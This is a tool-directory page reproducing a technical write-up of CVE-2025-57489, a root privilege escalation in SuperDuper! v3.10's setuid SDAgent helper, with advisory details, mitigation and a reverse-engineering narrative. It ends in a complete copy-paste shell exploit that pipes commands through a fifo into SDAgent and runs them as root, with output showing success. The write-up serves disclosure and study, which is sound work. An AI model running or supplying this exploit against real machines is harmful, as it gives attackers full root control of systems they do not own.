Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-57489 | Kitploit
Tools/GitHubGitHub/graypixel2121/cve-2025-57489
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingBinary AnalysisLearning & EducationRed Teaming
GitHubgraypixel2121/cve-2025-57489

CVE-2025-57489

View Repository
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-57489

Description

From the developer's blog:

When the lock in SuperDuper is unlocked to allow execution to occur without having to enter an administrator password, a 3rd party program could make use of our authorization to run something other than a backup with administrator privileges.

CVE description:

Incorrect access control in the SDAgent component of Shirt Pocket SuperDuper! v3.10 allows attackers to escalate privileges to root due to the improper use of a setuid binary.

Attribution

This author is not the discoverer of the vulnerability, who is identified by the SuperDuper developer as "anonymous security researcher". I claim no credit for discovering this vulnerability, I just took some interest in doing a technical analysis of it.

References

  • SuperDuper Security Update v3.11
  • CVE-2025-57489

CVSS 3.1 Score: 8.1: High (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

Mitigation

To avoid this vulnerability, either delete the SuperDuper! application, or apply the 3.11 update.

Warning: You must download the update directly from the developer's website to avoid the CVE-2025-61228 vulnerability.

Disclaimer

This exploit analysis and proof of concept is provided for educational purposes only. Use it at your own risk.

High-level summary

The SDAgent component of the SuperDuper! application is a setuid binary. Due to poor design/implementation, the SDAgent exists only to perform shell commands requested by another application, and the SDAgent doesn't appear to perform any verification of the requesting application, nor implement any guardrails on what sorts of shell commands can be requested. As a result, attackers can get affected versions of the SDAgent tool to run any shell command with root privileges. The fix from the developer addresses only the SDAgent's failure to verify the requester, it doesn't address the "puppet" helper tool design, leaving the agent potentially vulnerable to future attacks.

Analysis: Becoming a Puppetmaster

The developer's description of this issue was vague, but the "When the lock in SuperDuper is unlocked" comment got me pointed in the right direction pretty quickly. Starting with an older (still vulnerable) version of SuperDuper, I clicked that lock icon and authenticated. In Activity Monitor, I noticed that a new process related to SuperDuper appeared – SDAgent. I found this component in the SuperDuper bundle file and took a look at its attributes in the Terminal. After toggling off/on the lock, I noticed that the SDAgent file is a setuid binary whenever the lock is unlocked. Given that attribute and the name of the file, I concluded that this must be a "privileged helper tool", although it seemed a bit small for that purpose.

Setuid is a very old form of privilege escalation, and typically you would either build all of your "need root" functionality into the "helper" tool and just ask it to do its thing, or you would develop a communication path that allows a client application to make specific requests to the helper tool. But given how small this SDAgent file is (just 137KB), it seems unlikely that it holds all of the needs-root code for what this application claims to do. My curiosity piqued, I ran the "strings" utility on the SDAgent to get an idea of what it's supposed to do. This turned out to be very enlightening. There was virtually no output (compared to what you'd normally see for an application binary), and the output basically spells out that the SDAgent has just one function: perform any shell script provided by the requester, e.g.:

root@kitploit:~
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process 
****DONE****

It is poor design to create a helper tool that would run literally any command; "don't be a puppet" is an important rule to follow when making a helper tool.

I proceeded with the assumption that SuperDuper must open SDAgent, establish a communication pipe, then send shell scripts to SDAgent. A brief amount of poking around in the SuperDuper application bundle showed that I was on the right track. This application seems to administer all of its copying activity via shell scripts.

I made some feeble attempts to simply pipe commands to the agent:

root@kitploit:~
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done                printf "whoami" | 
zsh: segmentation fault  /Applications/SuperDuper!.app/Contents/MacOS/SDAgent

SDAgent crashed, I guess it won't be that easy! Undeterred, I started making some guesses based on how setuid helper apps typically work. Between a pair of shell utilities, you'd typically create some pipes for stdin, stdout, and stderr, then fork and exec. The child process would inherit a copy of each pipe, so each side would automatically have communication pipes opened to the other. With an application that links against higher-level frameworks, fork() isn't an option. Instead, you'd have to develop some way of communicating to the child application how you intend to communicate with it. The "strings" output yielded a clue:

root@kitploit:~
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent 
...
STDIN_PIPE_READ_FD
%i %i %i

"STDIN_PIPE_READ_FD" – the developer is very transparent about what's happening here. We can get a little more context on this string from otool:

root@kitploit:~
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent 
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8	leaq	0xa56(%rip), %rdi               ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af	callq	0x1000017f6                     ## symbol stub for: _getenv

OK, so it's probably an environment variable. Let's try the easy pipe hack again, and I'm going to assume that the SDAgent will simply receive my commands from its stdin file descriptor (0):

root@kitploit:~
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent

1557%

After a few repeats it was clear that "1557" was the process ID of the spawned SDAgent. Not very helpful (and not the "root" output I was expecting), but it didn't crash this time, so that was encouraging. I tried again with something that would make a filesystem change:

root@kitploit:~
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent

1593%

Nope, the file was not created; time to roll up my sleeves. I disabled SIP, fired up dtruss and asked SuperDuper to run a task. Right after authenticating to start the task, I see the following output from dtruss (attached to the SDAgent process):

root@kitploit:~
read(0x0, "21 23 24 \0", 0x800)		 = 9 0
dup2(0x15, 0x1, 0x0)		 = 1 0
dup2(0x17, 0x2, 0x0)		 = 2 0
write(0x1, "1615\0", 0x4)		 = 4 0

SDAgent initially reads from file descriptor 0 (stdin) for input (probably whatever FD is indicated by STDIN_PIPE_READ_FD). Here we see it reading in three numbers. Based on the sequence, I'm guessing that SuperDuper opened up three pipes, and it's sending the write, write, and read ends of those three pipes to SDAgent. SDAgent then dupes the first two to stdout and stderr (I can't tell what the third is used for). Finally, it writes out "1615" (the current SDAgent pid) to stdout (so now SuperDuper knows the SDAgent pid), then listens for additional commands on fd 0. After some trial and error, it was clear that we need to send some file descriptors to SDAgent before it will do our bidding. stdout (1) and stderr (2) will already be open and writable in the shell environment, so I tried those:

root@kitploit:~
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602

Again, not crashing, but like an eager teenager, SDAgent is finishing early and I'm not getting the "root" result I'm expecting. dtruss shows that it's reading the file descriptors, but ignoring the rest. That's unsurprising given the null string terminator, we probably need a gap between these strings so that SDAgent will treat them as separate requests. So we'll need to hook up SDAgent to a pipe that we can write to more than once.

At this point I could write a simple C application that opens some pipes, forks off the SDAgent, writes the file descriptors to the stdin pipe, then after a brief pause sends its arguments (i.e. the attack payload) to the pipe to run them. As I started to write that code, it occurred to me that I could probably achieve all of the functionality of that 50+ lines of compiled code in a pair of simple shell commands. I really only need a method to establish and keep open a pipe to the SDAgent process. "mkfifo" will suit this purpose: fifos exist as files on disk, but you can fit pipes onto them. On one side, we'll need something that reads from the fifo, then repeats that content to SDAgent on the other side of the pipe. I need to write the file descriptors to the pipe initially, but I also need to keep the pipe open so I can send payload commands. If the process on either side of the pipe exits, the pipe closes. The tail utility and the background operator were instrumental:

root@kitploit:~
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &

[1] 1964 1965

That spawned two background jobs: tail (1964) and SDAgent (1965). Both processes remain running in the background, so the pipe between them persists. tail is waiting for data to be added to the fifo, and will then pipe that data to SDAgent. Fantastically simple. Next, send the file descriptors:

root@kitploit:~
printf "1 2 \0" > /tmp/puppet

dtruss showed that SDAgent read the file descriptors and that SDAgent is still running, waiting for more input. Now for the moment of truth:

root@kitploit:~
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****

It worked! Again?

root@kitploit:~
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****

That's it! When I put everything together in a single copy/paste blob of shell commands, I was still finding SDAgent to be a little slow on processing the file descriptors. A short delay, and we're golden:

root@kitploit:~
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet

As root exploits go, this one was surprisingly easy to uncover and is really easy for an attacker to take advantage of.

Download Tool